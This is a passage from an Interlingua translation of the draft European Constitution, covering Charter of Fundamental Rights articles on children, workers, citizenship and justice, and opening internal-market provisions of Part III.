labor et de la remuneration. Le principio de legalitate non impedi le mantenimento aut la adoption de mesuras que daen avantages specificos in favor del sexo sub-representate.\nARTICULO II-84\nDerectos del infante\n1. Les infantes haben le derecto de la protection et de las curas necessarias pro lor benesser. Illes poten exprimer lor opinion liberemente. Isto est a prender in consideration pro los subjectos que les concerne, in function de lor etate et de lor maturitate.\nConstitution\/ra 73\n2. In totos los actos relativos a les infantes, sia illo exequito per autoritates publicas aut per institutiones privatas, le interesse superior del infante constitue una consideration primordial.\n3. Tote infante habe le derecto de mantener regularmente relationes personales et contactos directos con su patre et con su matre, salvo si illo est contrario a su interesse.\nARTICULO II-85\nDerectos de las personas de etate avantiata\nLa Union recognosce et respecta le derecto de las personas de etate avantiata de haber una vita digna et independente et de participar in la vita social et cultural.\nARTICULO II-86\nIntegration de las personas handicapatas\nLa Union recognosce et respecta le derecto de las personas handicapatas de beneficiar de mesuras que garantien lor autonomia, lor integration social et professional et lor participation in la vita de la communitate.\nConstitution\/ra 74\nTITULO IV\nSOLIDARITATE\nARTICULO II-87\nDerecto a la information et a la consultation de los laboratores in la interprisa\nOn debe garantir a los laboratores aut a lores representantes, a los nivellos appropriatos, una information et una consultation con sufficiente anticipation in los casos et conditiones mentionatas in le Derecto de la Union et in las legislationes et practicas nationales.\nARTICULO II-88\nDerectos de negotiation et de actiones collectivas\nLos laboratores et los empleatores, aut lores organizationes respectivas, in conformitate con le Derecto de la Union et con las legislationes et practicas nationales, haben le derecto a negotiar et concluder conventiones collectivas, a los nivellos appropriatos, et de recurrer, in caso de conflicto de interesses, a actiones collectivas pro la defensa de lores interesses, includito le exopero.\nARTICULO II-89\nDerecto de accesso a los servicios de placiamento\nTota persona habe le derecto a acceder a un servicio gratuito de placiamento.\nConstitution\/ra 75\nARTICULO II-90\nProtection in caso de dimission injustificata\nToto laborator habe le derecto a una protection in caso de dimission injustificata, conformemente con le Derecto de la Union et a las legislationes et practicas nationales.\nARTICULO II-91\nConditiones de labor justo et equitabile\n1. Toto laborator habe le derecto a laborar sub conditiones que respectaen su sanitate, su securitate et su dignitate.\n2. Toto laborator habe le derecto a la limitation de la duration maxima del labor et a periodos de reposo quotidianos et septimanales, assi como a un periodo de vacationes annual pagato.\nARTICULO II-92\nProhibition del labor infantil et protection de los juvenes in le labor\nLe labor infantil est prohibito. La etate minima de admission al labor non pote esser inferior a la etate in la qual cessa le periodo de scholaritate obligatoria, sin prejudicio de las dispositiones plus favorabiles pro les juvenes et salvo exceptiones limitatas.\nConstitution\/ra 76\nLos juvenes admittitos pro laborar deben disponer de conditiones de labor adaptatas a lor etate et esser protegitos contra la exploitation economica aut contra qualcunque labor que potea esser prejudicial pro lor securitate, lor sanitate, lor disveloppamento physico, moral aut social aut que potea poner in periculo lor education.\nARTICULO II-93\nVita familial et vita professional\n1. La protection de la familia est garantita super los planos juridico, economico et social.\n2. Con le fin de poter conciliar vita familial et vita professional, tota persona habe le derecto a esser protegito contra qualcunque dimission pro una causa relationata con la maternitate, assi como le derecto a una permission pagata pro maternitate et a una permission prenatal causata de la nascentia aut de la adoption de un infante.\nARTICULO II-94\nSecuritate social et adjuta social\n1. La Union recognosce et respecta le derecto de accesso a las prestationes de securitate social et a los servicios sociales que garantien una protection in casos como la maternitate, la maladia, los accidentes del labor, la dependentia aut la vetulessa, assi como in caso de perdita de empleo, secundo las modalitates stabilitas per le Derecto de la Union et las legislationes et practicas nationales.\nConstitution\/ra 77\n2. Tota persona qui reside et se displacia legalmente intra la Union habe le derecto a las prestationes de securitate social et a los avantages sociales conforme con le Derecto de la Union et con las legislationes et practicas nationales.\n3. Con le fin de combatter la exclusion social et la povressa, la Union recognosce et respecta le derecto a una adjuta social et a una adjuta a la habitation pro garantir una existentia digna a totos illes qui non disponean de ressources sufficientes, secundo las modalitates stabilitas per le Derecto de la Union et las legislationes et practicas nationales.\nARTICULO II-95\nProtection de la sanitate\nTota persona habe le derecto a acceder a la prevention sanitaria et de profitar de la attention medical a las conditiones stabilitas per las legislationes et practicas nationales. Un alto nivello de protection de la sanitate humana est garantita, quando se definian et executaen totas las politicas et actiones de la Union.\nARTICULO II-96\nAccesso a los servicios de interesse economico general\nLa Union recognosce et respecta le accesso a los servicios de interesse economico general, tal como las legislationes et practicas nationales disponen, in conformitate con la Constitution, con le fin de promover la cohesion social et territorial de la Union.\nConstitution\/ra 78\nARTICULO II-97\nProtection del ambiente\nLas politicas de la Union integran et garantien, conformemente con le principio de disveloppamento durabile, un alto nivello de protection del ambiente et la melioration de su qualitate.\nARTICULO II-98\nProtection de los consumitores\nLas politicas de la Union garantien un alto nivello de protection de los consumitores in la Union.\nTITULO V\nCITATANITATE\nARTICULO II-99\nDerecto de voto et de eligibilitate in las electiones al Parlamento Europeo\n1. Toto citatano de la Union habe le derecto de voto et de eligibilitate in las electiones al Parlamento Europeo in le Stato membro in le qual ille reside, a las mesmas conditiones como los citatanos de iste Stato.\n2. Los deputatos del Parlamento Europeo son eligitos per suffragio universal directo, libere et secreto.\nConstitution\/ra 79\nARTICULO II-100\nDerecto de voto et de eligibilitate in las electiones municipales\nToto citatano de la Union habe le derecto de voto et de eligibilitate in las electiones municipales del Stato membro in que ille reside, a las mesmas conditiones como los citatanos de iste Stato.\nARTICULO II-101\nDerecto a una bona administration\n1. Tota persona habe le derecto a vider que las institutiones, organos et organismos de la Union tractan sus affaceres impartial- et justamente et intra un periodo rationabile.\n2. Iste derecto include in particular:\na) le derecto de tota persona a esser audita ante que una mesura individual que le affectae disfavorabilemente, sia prendita contra ille;\nb) le derecto de tota persona a acceder al dossier que le concernea, intra le respecto de los interesses legitimos de la confidentialitate et del secreto professional et commercial;\nc) la obligation pro la administration de motivar sus decisiones.\n3. Tota persona habe le derecto a la reparation per la Union de los damnos causatos per sus institutiones aut per sus agentes in le exercitio de lores functiones, in conformitate con los principios generales communes de los Derectos de los Statos membros.\nConstitution\/ra 80\n4. Tota persona pote diriger se a las institutiones de la Union in una de las linguas de la Constitution et debe reciper una responsa in ista mesma lingua.\nARTICULO II-102\nDerecto de accesso a los documentos\nToto citatano de la Union assi como tota persona physica aut juridica residente aut habente su sede statutaria in un Stato membro habe un derecto de accesso a los documentos de las institutiones, organos et organismos de la Union, qualcunque potea esser lor supporto.\nARTICULO II-103\nLe Mediator Europeo\nToto citatano de la Union assi como tota persona physica aut juridica residente aut habente su sede statutaria in un Stato membro habe le derecto de submitter al Mediator Europeo los casos de mala administration in la action de las institutiones, organos aut organismos de la Union, con exclusion del Tribunal de Justitia Europeo in le exercitio de sus functiones jurisdictionales.\nConstitution\/ra 81\nARTICULO II-104\nDerecto de petition\nToto citatano de la Union assi como tota persona physica aut juridica residente aut habente su sede statutaria in un Stato membro habe le derecto de Petition ante le Parlamento Europeo.\nARTICULO II-105\nLibertate de circulation et de residentia.\n1. Toto citatano de la Union habe le derecto de circular et resider liberemente in le territorio de los Statos membros.\n2. Conformemente con la Constitution on pote conceder libertate de circulation et de residentia a los citatanos de tertios paises residentes legalmente in le territorio de un Stato membro.\nARTICULO II-106\nProtection diplomatica et consular\nToto citatano de la Union habe le derecto, in le territorio de un tertio pais in le qual non est representato le Stato membro del qual ille est citatano, a la protection de las autoritates diplomaticas et consulares de toto Stato membro, a las mesmas conditiones como los citatanos de iste Stato.\nConstitution\/ra 82\nTITULO VI\nJUSTITIA\nARTICULO II-107\nDerecto al recurso judicial effectivo et a un tribunal impartial\nTota persona, cujos derectos et libertates garantitos per le Derecto de la Union haia essito violata, habe le derecto a un recurso effectivo ante un tribunal in respecto a las conditiones stabilitas in le presente articulo. Tota persona habe le derecto que su causa debea esser audita equitabile- et publicamente et intra un periodo rationabile per un tribunal independente et impartial, stabilito previamente per la lege. Tota persona habe la possibilitate de facer se consiliar, defender et representar. On presta assistentia juridica gratuita a personas qui non disponean de ressources sufficientes si isto sia necessario pro garantir la effectivitate del accesso a la justitia.\nARTICULO II-108\nPresumption de innocentia et derectos de la defensa\n1. Toto accusato est presumito innocente usque su culpabilitate haia essito legalmente stabilita.\n2. Est garantito a toto accusato le respecto de los derectos de defensa.\nConstitution\/ra 83\nARTICULO II-109\nPrincipios de legalitate et de proportionalitate de los delictos et de las penas\n1. Necuno pote esser condemnato per una action aut una omission que, in le momento in le qual illa ha essito committita, non constitueva una infraction secundo le Derecto national aut le Derecto international. Equalmente, non pote esser imponita una pena plus grave quam la pena applicata in le momento in le qual la infraction ha essito committita. Si, posteriormente a ista infraction, la lege impone una pena plus legiera, ista lege debe esser applicata.\n2. Le presente articulo non impedi le judicio et la punition de una persona culpabile de una action aut de una omission que, in le momento in le qual illa ha essito committita, era criminal secundo los principios generales recognoscitos per le insimul de las nationes.\n3. La intensitate de las penas non debe esser disproportionata in relation con la infraction.\nARTICULO II-110\nDerecto a non esser judicato aut condemnato penalmente duas vices per un mesmo delicto\nNecuno pote esser accusato aut condemnato penalmente per una infraction pro la qual ille ha jam essito absolvito aut condemnato in la Union per una sententia penal definitiva conformemente con la lege.\nConstitution\/ra 84\nTITULO VII\nDISPOSITIONES GENERALES APPLICABILES A LA INTERPRETATION ET APPLICATION DE LA CHARTA\nARTICULO II-111\nCampo de application\n1. Las dispositiones de la presente Charta son dirigitas a las institutiones, organos et organismos de la Union, respectando le principio de subsidiaritate, assi como a los Statos membros unicamente quando illas applicaen le Derecto de la Union. Consequentemente, illas respectan los derectos, observan los principios et promoven lor application, conformemente con lores respectivas competentias et intra los limites de las competentias que on attribue a la Union in las alteras partes de la Constitution.\n2. La presente Charta non amplia le campo de application del Derecto de la Union ultra las competentias de la Union, nec crea alicuna competentia aut carga nova pro la Union, nec modifica las competentias et cargas definitas in las alteras partes de la Constitution.\nARTICULO II-112\nCampo de application et interpretation de los derectos et principios\n1. Tota limitation del exercitio de los derectos et libertates recognoscitos per la presente Charta debe esser stabilita per la lege et respectar le contento essential de istos derectos et libertates. Limitationes poten esser introducitas, respectando le principio de proportionalitate, solamente quando illas sian necessarias et respondean effectivamente a objectivos de interesses generales recognoscitos per la Union aut a la necessitate de protection de los derectos et libertates de alteros.\nConstitution\/ra 85\n2. Los derectos recognoscitos per la presente Charta, que son mentionatos in alteras partes de la Constitution, se exercen a las conditiones et intra los limites determinatos in istas partes.\n3. In la mesura que la presente Charta contine derectos que corresponden a los derectos garantitos per la Convention Europea pro la Protection de los Derectos Humanos et de las Libertates Fundamentales, lor senso et lor campo de application son equales a illos que confere ista Convention. Ista disposition non impedi que los Derectos de la Union concedean una protection plus extensa.\n4. In la mesura que la presente Charta recognosce derectos fundamentales resultantes de las traditiones constitutionales communes de los Statos membros, istos derectos deben esser interpretatos in harmonia con istas traditiones.\n5. Las dispositiones de la presente Charta que continen principios poten esser effectuatas per actos legislativos et executivos adoptatos per las institutiones, organos et organismos de la Union, et per actos de los Statos membros quando illos applicaen le Derecto de la Union, in le exercitio de lores competentias respectivas. Lor invocation ante le judice est admittita solamente pro la interpretation et le controlo de la legalitate de tales actos.\n6. La legislation et las practicas nationales deben esser prenditas plenamente in consideration como specificatas in la presente Charta.\n7. Las explicationes elaboratas pro guidar la interpretation de la Charta de los derectos fundamentales son debitamente consideratas per las jurisdictiones de la Union et de los Statos membros.\nConstitution\/ra 86\nARTICULO II-113\nNivello de protection\nNecuna disposition de la presente Charta pote esser interpretata como limitativa aut ledente los derectos humanos et libertates fundamentales recognoscitos, in lor respectivo campo de application, per le Derecto de la Union, le Derecto international et las conventiones internationales de las quales est parte la Union aut totos los Statos membros, et in particular la Convention Europea pro la Protection de los Derectos del Homine et de las Libertates Fundamentales, assi como per las constitutiones de los Statos membros.\nARTICULO II-114\nProhibition del abuso de derecto\nNecuna disposition de la presente Charta pote esser interpretata como implicante un derecto qualcunque de dedicar se a una activitate aut de realizar un acto tendente a la destruction de los derectos aut libertates recognoscitos in la presente Charta aut a limitationes plus amplas de istos derectos et libertates que illos mentionatos in la presente Charta.\nConstitution\/ra 87\nPARTE III\nPOLITICAS ET FUNCTIONAMENTO DE LA UNION\nTITULO I\nDISPOSITIONES DE APPLICATION GENERAL\nARTICULO III-115\nLa Union velia la coherentia inter las differentes politicas et actiones mentionatas in la presente Parte, considerando le insimul de sus objectivos et conformando se al principio de attribution de competentias.\nARTICULO III-116\nIn totas las actiones mentionatas in la presente Parte, la Union cerca a eliminar las inequalitates inter femina et viro et a promover lor equalitate.\nConstitution\/ra 88\nARTICULO III-117\nIn la definition et execution de las politicas et actiones mentionatas in la presente Parte, la Union considera las exigentias ligatas a la promotion de un nivello elevato de empleo, a la garantia de una protection social adequata, a la lucta contra la exclusion social et a un nivello elevato de education, de formation et de protection de la sanitate humana.\nARTICULO III-118\nIn la definition et execution de las politicas et actiones mentionatas in la presente Parte, la Union tenta luctar contra tota discrimination fundata super le sexo, la racia aut le origine ethnico, la religion aut las convictiones, un handicap, la etate aut la orientation sexual.\nARTICULO III-119\nLas exigentias de la protection del ambiente deben esser integratas in la definition et in la realization de las politicas et actiones mentionatas in la presente Parte, in particular a fin de promover un disveloppamento durabile.\nARTICULO III-120\nLas exigentias de la protection de los consumitores son consideratas in la definition et la realization de alteras politicas et actiones de la Union.\nConstitution\/ra 89\nARTICULO III-121\nQuando la Union et los Statos membros definien et executan la politica de la Union in los dominios de la agricultura, de la pisca, de los transportos, del mercato interior, de la recerca et disveloppamento technologico, et del spatio, illos consideran plenamente las exigentias del benesser de los animales como esseres sensibiles, et simultaneamente respectan las dispositiones legislativas et administrativas et los usages de los Statos membros, in particular los ritos religiosos, las traditiones culturales et los patrimonios regionales.\nARTICULO III-122\nSin prejudicio de los articulos I-5, III-116, III-167 et III-238, et visto le loco que occupan los servicios economicos generales, como servicios a los quales in la Union totos attribuen un grande valor, assi como le rolo que illos jocan in la promotion de la cohesion social et territorial de la Union, la Union et sus Statos membros, conformemente con lores competentias respectivas et in le campo de application de la Constitution, velian que istos servicios functionaen super los principios et sub las conditiones, economicas et financiarias in particular, que les permittean complir lores cargas. Istos principios et conditiones son definitos per leges europeas, sin prejudicio de las competentias de los Statos membros, intra le respecto de la Constitution pro prestar, incargar et financiar istos servicios.\nConstitution\/ra 90\nTITULO II\nNON-DISCRIMINATION ET CITATANITATE\nARTICULO III-123\nLa lege aut lege-quadro europea pote regular la prohibition de las discriminationes factas a causa de la nationalitate mentionata in le articulo I-4(2).\nARTICULO III-124\n1. Sin prejudicio de las alteras dispositiones de la Constitution et intra los limites de las competentias attribuitas per la Constitution a la Union, una lege aut lege-quadro europea del Consilio pote stabilir las mesuras necessarias pro luctar contra tota discrimination fundata super le sexo, la racia aut le origine ethnico, la religion aut las convictiones, un handicap, la etate aut la orientation sexual. Le Consilio decide per unanimitate post approbation del Parlamento Europeo.\n2. Nonobstante lo que est disposito in le paragrapho 1, la lege aut la lege-quadro europea pote stabilir los principios basicos de las mesuras de stimulo de la Union et definir istas mesuras pro appoiar las actiones interprenditas per los Statos membros, con le scopo de contribuer a la realization de los objectivos mentionatos in le paragrapho 1, con exclusion de tota harmonization de las dispositiones legislativas et regulamentarias de los Statos membros.\nConstitution\/ra 91\nARTICULO III-125\n1. Si una action de la Union pare necessaria pro facilitar le exercitio del derecto, mentionato in le articulo I-10(2)(a), de libere circulation et libere residentia pro toto citatano de la Union, et salvo si la Constitution ha previsto poteres de action pro tal effecto, una lege aut lege-quadro europea del Consilio pote stabilir mesuras pro iste fin.\n2. Con los mesmos scopos como istos mentionatos in le paragrapho 1 et salvo si la Constitution ha previsto poteres de action pro tal effecto, una lege aut una lege-quadro europea del Consilio pote stabilir mesuras concernentes los passaportos, los documentos de identitate, los permissos de residentia aut qualcunque altero documento similar, assi como mesuras concernentes la securitate social aut la protection social. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo.\nARTICULO III-126\nUna lege aut lege-quadro europea del Consilio stabili las modalitates pro le exercitio del derecto, mentionato in le articulo I-10(2)(b), de voto et de eligibilitate in las electiones municipales et in las electiones al Parlamento Europeo pro toto citatano de la Union in le Stato membro in le qual ille reside sin esser citatano de iste Stato. Le Consilio decide per unanimitate, post consultation del Parlamento Europeo. Istas modalitates poten stabilir exceptiones derogatorias, quando problemas specificos de un Stato membro lo justifican. Le derecto de voto et de eligibilitate in las electiones al Parlamento Europeo se exerce sin prejudicio del articulo III-330(1), et de las mesuras prenditas pro su application.\nConstitution\/ra 92\nARTICULO III-127\nLos Statos membros prenden las dispositiones necessarias pro garantir la protection diplomatica et consular de los citatanos de la Union in tertios paises, mentionata in le articulo I-10(2)(c). Los Statos membros realizan las negotiationes internationales requiritas pro garantir ista protection. Una lege europea del Consilio pote stabilir las mesuras necessarias pro facilitar ista protection. Le Consilio prende decision post consultation del Parlamento Europeo.\nARTICULO III-128\nLas linguas in las quales toto citatano de la Union habe le derecto de diriger se a las institutiones aut organismos consultativos, in virtute del articulo I-10(2)(d), et de reciper una responsa, son illas enumeratas in le articulo IV-448(1). Las institutiones et organos mentionatos in le articulo I-10(2)(d) son illos mentionatos in le articulo I-19(1), secunda linea, et in le articulos I-30, I-31 et I-32, assi como le Mediator Europeo.\nARTICULO III-129\nTotos los tres annos la Commission reporta al Parlamento Europeo, al Consilio et al Committato Economic et Social re la application de las dispositiones del articulo I-10 et del presente Titulo. Ista information pondera le disveloppamento de la Union.\nConstitution\/ra 93\nSuper ista base, et sin prejudicio de las alteras dispositiones de la Constitution, una lege aut lege-quadro europea del Consilio pote completar los derectos mentionatos in le articulo I-10. Le Consilio decide per unanimitate, post approbation del Parlamento Europeo. Ista lege aut lege-quadro solamente entra in vigor post su approbation per los Statos membros in conformitate con lores respectivas regulas constitutionales.\nTITULO III\nPOLITICAS ET ACTIONES INTERNAS\nCAPITULO I\nMERCATO INTERIOR\nSECTION I\nSTABILIMENTO ET FUNCTIONAMENTO DEL MERCATO INTERIOR\nARTICULO III-130\n1. La Union adopta las mesuras destinatas a stabilir le mercato interior aut a garantir su functionamento, in conformitate con las dispositiones pertinentes de la Constitution.\nConstitution\/ra 94\n2. Le mercato interior implica un spatio sin frontieras interiores, in le qual la libere circulation de mercantias, personas, servicios et capitales est garantita in conformitate con las dispositiones de la Constitution.\n3. Le Consilio adopta, per proposition de la Commission, los regulamentos aut decisiones europeos que definien las orientationes et conditiones necessarias pro assecurar un progresso equilibrato in le insimul de los sectores concernitos.\n4. In le momento de formular sus propositiones pro la realization de los objectivos mentionatos in los paragraphos 1 et 2, la Commission pondera la importantia del effortio que certas economias, presentando nivellos de disveloppamento differentes, deben realizar pro le stabilimento del mercato interior, et illa pote proponer las mesuras appropriatas. Si istas mesuras prenden la forma de derogationes, illas deben haber un character temporario et perturbar lo minus possibile le functionamento del mercato interior.\nARTICULO III-131\nLos Statos membros se consultan in vista de adoptar in accordo commun las dispositiones necessarias pro evitar que le functionamento del mercato interior sia affectato per las dispositiones que un Stato membro pote vider se obligato a adoptar in caso de graves disturbantias internas que affectaen le ordine publico, in caso de guerra aut de grave tension international que constituea una menacia de guerra, aut pro facer fronte a las obligationes contrahitas pro le mantenimento de la pace et de la securitate international.\nConstitution\/ra 95\nARTICULO III-132\nSi alicunas de las mesuras adoptatas in los casos mentionatos in los articulos III-131 et III-436 haben como effecto falsar las conditiones de la concurrentia in le mercato interior, la Commission examina con le Stato membro interessato las conditiones in las quales istas mesuras poten esser adaptatas a las regulas stabilitas in la Constitution.\nNonobstante la procedura mentionata in los articulos III-360 et III-361, la Commission aut qualcunque Stato membro pote recurrer directamente al Tribunal de Justitia, si la Commission aut qualcunque Stato membro considerae que un altero Stato membro abusa de los poteres mentionatos in los articulos III-131 et III-436. Le Tribunal de Justitia prende decision a porta clausa.\nSECTION 2\nLIBERE CIRCULATION DE PERSONAS ET DE SERVICIOS\nSubsection 1\nLaboratores\nARTICULO III-133\n1. Los laboratores haben le derecto de circular liberemente intra la Union.\nConstitution\/ra 96\n2. Tota discrimination fundata super la nationalitate, inter los laboratores de los Statos membros con respecto al empleo, la remuneration et las alteras conditiones de labor, est prohibita.\n3. Sin prejudicio de las limitationes justificatas per rationes de ordine publico, de securitate et de sanitate publica, los laboratores haben le derecto de\na) responder a offertas effectivas de labor;\nb) displaciar se liberemente in le territorio de los Statos membros;\nc) resider in uno de los Statos membros a fin de exercer in illo un empleo, in conformitate con las dispositiones legislativas, regulamentarias et administrativas que regen le empleo de los laboratores nationales;\nd) remaner super le territorio de un Stato membro post haber exercito in illo un empleo, a las conditiones mentionatas in los regulamentos europeos adoptatos per la Commission.\n4. Le presente articulo non est applicato a los empleos in la administration publica.\nARTICULO III-134\nLas decisiones necessarias pro facer effectiva la libere circulation de los laboratores, tal como illa est definita in le articulo III-18, se stabilien per leges aut leges-quadro europeas. Istas son adoptatas post consultation del Committato Economico et Social.\nConstitution\/ra 97\nLas leges aut leges-quadro europeas visan in particular\na) a assecurar una stricta collaboration inter las administrationes nationales del labor;\nb) a eliminar illas proceduras et practicas administrativas, assi como los periodos de accesso a los empleos disponibiles, que resultan de la legislation interna aut de accordos concluditos anteriormente inter los Statos membros, cujo mantenimento serea un obstaculo pro la liberalization de los movimentos de los laboratores;\nc) a eliminar totos los terminos et alteras restrictiones mentionatas in las legislationes nationales aut in los accordos concluditos anteriormente inter los Statos membros, que imponen a los laboratores de los alteros Statos membros alteras conditiones que a los laboratores nationales pro la libere election de un empleo;\nd) a stabilir mechanismos adequatos pro poner in contacto las offertas et las demandas de empleo et facilitar lor equilibrio in conditiones que non ponen un grave periculo pro le nivello de vita et de empleo in las diversas regiones et industrias.\nARTICULO III-135\nLos Statos membros favoran, in le quadro de un programma commun, le intercambio de laboratores juvenes.\nConstitution\/ra 98\nARTICULO III-136\n1. In le dominio de la securitate social, la lege aut lege-quadro europea stabili las mesuras necessarias pro realizar la libere circulation de los laboratores, in particular per instituer un systema que permitte assecurar a los laboratores migrantes, salariatos et non salariatos, et a lores dependentes:\na) la accumulation de totos los periodos prenditos in consideration per las varias legislationes nationales pro acquirer et conservar le derecto a las prestationes sociales, assi como pro le calculo de istas;\nb) le pagamento de las prestationes a las personas residentes in le territorios de los Statos membros.\n2. Quando un membro del Consilio considera que un projecto de lege aut de lege-quadro europea, mentionata in le paragrapho 1, disservirea aspectos fundamentales de su systema de securitate social, como su campo de application, costo aut structura financiaria, aut affectarea le equilibrio financiario de iste systema, ille pote peter que le affacer sia remittito al Consilio Europeo. In iste caso la procedura mentionata in le articulo III-396 est suspendita. Post discussion, le Consilio Europeo in un termino de quatro menses post la suspension debe:\na) devolver le projecto al Consilio, ponendo per isto fin a la suspension de la procedura mentionata in le articulo III-396, aut\nb) peter a la Commission que illa presentae una nova proposition; in iste caso le acto proposito initialmente est considerato non adoptato.\nConstitution\/ra 99\nSubsection 2\nLibertate de stabilimento\nARTICULO III-137\nIn le quadro de la presente subsection, las restrictiones a la libertate de stabilimento de los citatanos de un Stato membro in le territorio de un altero Stato membro son prohibitas. Ista prohibition se extende equalmente a las restrictiones relativas a la apertura de agentias, de succursales aut de filiales per los citatanos de un Stato membro stabilitos in le territorio de un altero Stato membro.\nLos citatanos de un Stato membro haben le derecto a acceder a las activitates non-salariatas et de exercer las, assi como de constituer et de gerer interprisas et, specialmente, societates in le senso del articulo III-142(2), sub las conditiones fixatas per la legislation del Stato membro de stabilimento pro sus proprios citatanos, sin prejudicio de las dispositiones de la Section 4 relativas a los capitales et pagamentos.\nARTICULO III-138\n1. Las mesuras pro attinger la libertate de stabilimento in una determinata activitate se stabili per la lege-quadro europea. Illa est adoptata post consultation del Committato Economico et Social.\n2. Le Parlamento Europeo, le Consilio et la Commission exerce las functiones que attribuen a illos le paragrapho 1, in particular:\nConstitution\/ra 100\na) per occupar se, in general, con prioritate de las activitates in las quales la libertate de stabilimento constitue una contribution particularmente utile al disveloppamento de la production et de los intercambios;\nb) per assecurar una stricta collaboration inter las administrationes nationales competentes a fin de cognoscer las situationes particulares, intra la Union, de las diversas activitates affectatas;\nc) per eliminar illas proceduras et practicas administrativas que resultan de la legislation national aut de accordos concluditos anteriormente inter los Statos membros, cujo mantenimento serea un obstaculo pro la libertate de stabilimento;\nd) per surveliar que los laboratores salariatos de uno de los Statos membros, empleatos in le territorio de un altero Stato membro, potean permaner in iste territorio pro interprender una activitate non-salariata, quando illes satisfacessen las conditiones que illes deberean satisfacer, si illes entrassen in iste Stato in le momento de voler initiar ista activitate;\ne) per facer possibile la acquisition et le profito de proprietates immobiles situatas in le territorio de un Stato membro per un citatano de un altero Stato membro, in la mesura que on non contravenia los principios mentionatos in le articulo III-227(2);\nf) per applicar la suppression progressiva de las restrictiones a la libertate de stabilimento, in cata branca de activitate considerata, de una parte, a las conditiones de apertura, in le territorio de un Stato membro, de agentias, de succursales aut de filiales e, de altera parte, a las conditiones de admission del personal de la sede central in los organos de gestion aut de controlo de illos;\nConstitution\/ra 101\ng) coordinando las garantias exigitas in los Statos membros a las societates definitas in le articulo III-142(2), pro proteger los interesses de socios et de tertios, in la mesura necessaria et in vista de facer las garantias equivalentes;\nh) assecurando se que las conditiones pro le stabilimento non sian falsatas per adjutas conceditas per los Statos membros.\nARTICULO III-139\nLa presente subsection non se applica, quanto al Stato membro interessato, a las activitates que in iste Stato son relationatas, ben que solamente de maniera occasional, con le exercitio del poter publico. La lege aut lege-quadro europea pote excluder certas activitates de la application de las dispositiones de la presente subsection.\nARTICULO III-140\n1. La presente subsection et las mesuras adoptatas in su virtute non prejudican la applicabilitate de las dispositiones legislativas, regulamentarias et administrativas de los Statos membros que previden un regime special pro los estranieros et que son justificatas per rationes de ordine publico, de securitate publica et de sanitate publica.\n2. La lege-quadro europea coordina las dispositiones nationales mentionatas in le paragrapho l.\nConstitution\/ra 102\nARTICULO III-141\n1. La lege-quadro europea facilita le accesso a las activitates non-salariatas et a lor exercitio. Illa visa a:\na) la recognoscentia mutual de diplomas, de certificatos et de alteros titulos;\nb) la coordination de dispositiones legislativas, regulamentarias et administrativas de los Statos membros relativas al accesso a activitates non-salariatas et lor exercitio.\n2. Quanto a las professiones medicas, paramedicas et pharmaceuticas, la progressiva suppression de las restrictiones est subordinata a la coordination de las conditiones exigitas pro lor exercitio in los differentes Statos membros.\nARTICULO III-142\nLas societates constituitas in conformitate con la legislation de un Stato membro et cuja sede statutaria, lor administration central aut lor centro de activitate principal se trova intra la Union est assimilata, pro la application de la presente subsection, a las personas physicas qui son citatanos de los Statos membros. Per \"societate\" se intende las societates de Derecto civil aut mercantil, includitas las societates cooperativas, et las alteras personas juridicas de Derecto publico aut privato, con exception de las societates que non prosequean un scopo lucrativo.\nConstitution\/ra 103\nARTICULO III-143\nLos Statos membros applican a los citatanos de los alteros Statos membros la conducta que est applicata a los citatanos, quanto a lor participation financiaria in le capital de las societates definitas in le articulo III-142(2), sin prejudicio de la application de las alteras dispositiones de la Constitution.\nSubsection 3\nLibertate de prestation de servicios\nARTICULO III-144\nIn le quadro de la presente subsection son prohibitas restrictiones a la libere prestation de servicios intra la Union pro los citatanos de los Statos membros, stabilita in un Stato membro distincto del Stato del destinatario de la prestation. La lege aut lege-quadro europea pote extender le beneficio de las dispositiones de la presente subsection a los prestatores de servicios qui son citatanos de un tertio Stato et stabilito intra de la Union.\nARTICULO III-145\nPro servir los scopos de la Constitution, son consideratas como servicios las prestationes realizatas normalmente per pagamento de una remuneration, in la mesura que illas non sian regitas per las dispositiones relativas a la libere circulation de mercantias, de capitales et de personas.\nConstitution\/ra 104\nLos servicios comprehenden in particular:\na) activitates de character industrial,\nb) activitates de character commercial,\nc) activitates artisanales,\nd) activitates proprias de las professiones liberales.\nSin prejudicio de la subsection 2 relativa al derecto de stabilimento, pro realizar la prestation de un servicio, le prestator pote exercer temporariamente su activitate in le Stato membro ubi se realiza le prestation, a las mesmas conditiones que impone ille Stato a su proprios citatanos.\nARTICULO III-146\n1. La libere prestation de servicios, in materia de transportos, est regita per le capitulo III, section 7, relativa a los transportos.\n2. La liberalization de los servicios bancarios et de las assecurantias que est ligata a los movimentos de capitales se realiza in harmonia con la liberalization de la circulation de capitales.\nConstitution\/ra 105\nARTICULO III-147\n1. La lege-quadro europea stabili las mesuras pro realizar la liberalization de un servicio determinato. Illa est adoptata post consultation del Committato Economico et Social.\n2. La lege-quadro europea mentionata in le paragrapho 1 se refere, in general, con prioritate a los servicios que de maniera directa influen super los costos de production aut cuja liberalization contribue a facilitar los intercambios de mercantias.\nARTICULO III-148\nLos Statos membros se effortian de proceder a la liberalization de los servicios plus ampla que la liberation exigita in virtute de la lege-quadro europea adoptata in application del articulo III-147(1), si lor situation economica general et la situation del sector affectato lo permitte a illos. La Commission dirige, con iste scopo, recommendationes a los Statos membros interessatos.\nARTICULO III-149\nTanto longo que las restrictiones a la libere prestation de servicios non sian supprimitas, los Statos membros applican istas restrictiones, sin distinction de nationalitate aut de residentia, a totos los prestatores de servicios mentionatos in le articulo III-144(1).\nConstitution\/ra 106\nARTICULO III-150\nLos articulos III-139 a III-142 son applicabiles a las materias regulatas per la presente subsection.\nSECTION 3\nLIBERE CIRCULATION DE MERCANTIAS\nSubsection 1\nUnion doanal\nARTICULO III-151\n1. La Union include una union doanal que attinge la totalitate de los intercambios de mercantias et que implica la prohibition, inter los Statos membros, de los derectos de doana de importation et de exportation et de qualcunques taxas de effecto equivalente, assi como la adoption de una tarifa doanal commun in lores relationes con tertios paises.\n2. Le paragrapho 4 et la subsection 3 relativa a la prohibition de restrictiones quantitativas se applican a los productos originarios de los Statos membros et a los productos provenientes de tertios paises que son in libere practica in los Statos membros.\nConstitution\/ra 107\n3. Son consideratos in libere practica in un Stato membro los productos provenientes de tertios paises pro los quales han essito factos, in iste Stato membro, las formalitates de importation, et han essito percipitos los derectos de doana et qualcunques alteras taxas de effecto equivalente exigibile, et que non han beneficiato de una devolution total aut partial de istos derectos et taxas.\n4. Los derectos de doana de importation et de exportation aut de taxas de effecto equivalente son prohibitos inter 